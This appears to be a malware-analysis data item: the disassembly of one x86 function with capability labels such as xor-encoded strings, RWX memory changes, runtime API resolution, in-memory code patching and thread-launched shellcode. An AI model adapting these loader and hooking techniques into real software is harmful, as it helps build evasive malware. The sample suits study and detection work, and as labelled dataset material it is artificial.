Function at 0x10012a60
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10144be4]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov dword [ebp - 0x44], 0
jne 0x10012e70
mov eax, dword [ebp + 8]
push 0x94
mov dword [0x10145c64], eax
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.1001b730
add esp, 0xc
mov dword [ebp - 0x108], 0x94
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x104], 6
mov ecx, 1
ja 0x10012adc
movzx eax, byte [0x10044098]
cmp dword [ebp - 0x100], ecx
cmovbe eax, ecx
mov byte [0x10044098], al
mov edx, 0x54
xor ecx, ecx
mov al, byte [ecx + 0x1003847c]
xor al, dl
mov byte [ebp + ecx - 0x1c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x14
jb 0x10012ae3
mov byte [ebp - 8], 0
mov edx, 0xae
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10038494]
xor al, dl
mov byte [ebp + ecx - 0x58], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x10012b10
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 0x4a], 0
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movq qword [ebp - 0x58], xmm0
mov word [ebp - 0x4c], 0
lea eax, [esi + 5]
mov byte [ebp - 0x4a], 0
mov dword [0x10145ef0], eax
lea eax, [ebp - 0x44]
push eax
push 0x40
push 5
push 0x100105e0
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call ebx
mov eax, dword [esi]
mov ecx, 0x100105e0
mov dword [ecx], eax
mov al, byte [esi + 4]
mov byte [ecx + 4], al
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
push 5
push 0x100105e0
call ebx
push 0x397c1682
lea ecx, [ebp - 0x48]
call fcn.10002e10
push eax
call edi
test eax, eax
jne 0x10012bf2
mov eax, str.2_:1__y_56
lea ecx, [ebp - 0x74]
sub eax, 0x5abdd636
push eax
call fcn.100025f0
push eax
call edi
test eax, eax
jne 0x10012bf2
push 0x73dd549f
lea ecx, [ebp - 0x68]
call fcn.100027f0
push eax
call edi
test eax, eax
jne 0x10012bf2
mov al, 1
jmp 0x10012bf4
xor al, al
test al, al
je 0x10012c13
call fcn.10013f50
push 0x10145c38
push 0x100104c0
push esi
call fcn.10013db0
push esi
call fcn.10013f30
mov edx, 0x9b
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100384a4]
xor al, dl
mov byte [ebp + ecx - 0x5c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10012c20
push 0x44a4219c
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x4a], 0
call fcn.100026f0
lea ecx, [ebp - 0x5c]
push ecx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x40]
push 0
push 0x1e
xorps xmm0, xmm0
mov word [ebp - 0x60], 0
push ecx
push eax
movq qword [ebp - 0x68], xmm0
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0
mov byte [ebp - 0x4a], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x44]
push eax
push 0x40
push 0x1e
push 0x1000dfc0
call ebx
push 0x1e
lea eax, [ebp - 0x40]
push eax
push 0x1000dfc0
call fcn.1001b1b0
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
push 0x1e
push 0x1000dfc0
call ebx
push 0xff
push 0x1b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
push eax
push 0x400000
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x20], 0xffffffa1
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xffff8bff
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0x78ffffff
mov dword [ebp - 0xc], 0x8bffff89
mov word [ebp - 8], 0x8ff
mov byte [ebp - 6], 0x51
call fcn.10006fe0
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
test eax, eax
je 0x10012e4c
push 0xff
push 0x17
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x8e68
push eax
push 0x400000
mov dword [ebp - 0x18], 0xc16800
mov dword [ebp - 0x14], 0xff8d0000
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 0xffffffe8
mov word [ebp - 8], 0x6aff
mov byte [ebp - 6], 2
call fcn.10006fe0
add esp, 0x10
test eax, eax
je 0x10012e3a
lea ecx, [eax + 0x47]
mov dword [0x10145c3c], ecx
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
lea ecx, [edx + 0xa]
mov dword [0x10145c3c], edx
mov dword [0x10145c40], ecx
mov esi, dword [ecx + 1]
add ecx, 5
add esi, ecx
lea ecx, [esi + 0x2d]
mov dword [0x10145c40], esi
mov dword [0x10145c44], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x25]
mov dword [0x10145c44], eax
mov dword [0x10145c48], ecx
mov eax, dword [ecx + 1]
add eax, 5
mov dword [0x1004408c], 0x1000d1b0
add ecx, eax
mov dword [0x10145c48], ecx
lea eax, [ecx + 8]
mov dword [0x10145c60], eax
cmp byte [edx], 0x55
je 0x10012e00
call fcn.1000d460
mov esi, dword [0x10145c40]
mov ecx, dword [0x10145c48]
cmp byte [esi], 0x55
je 0x10012e10
call fcn.1000d460
mov ecx, dword [0x10145c48]
cmp byte [ecx], 0x55
je 0x10012e1a
call fcn.1000d460
push 0x400000
call fcn.10005e60
add esp, 4
push 0
push 0
push 0
push 0x1000b6a0
push 0
push 0
call edi
jmp 0x10012e5c
push 0
call esi
push eax
call 0x1000dfc0
jmp dword [pe_dos_header]
push 0
call esi
push eax
call 0x1000dfc0
jmp dword [pe_dos_header]
push 0
push 0
push 0
push 0x1000a890
push 0
push 0
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10018bbf
mov esp, ebp
pop ebp
ret 0xc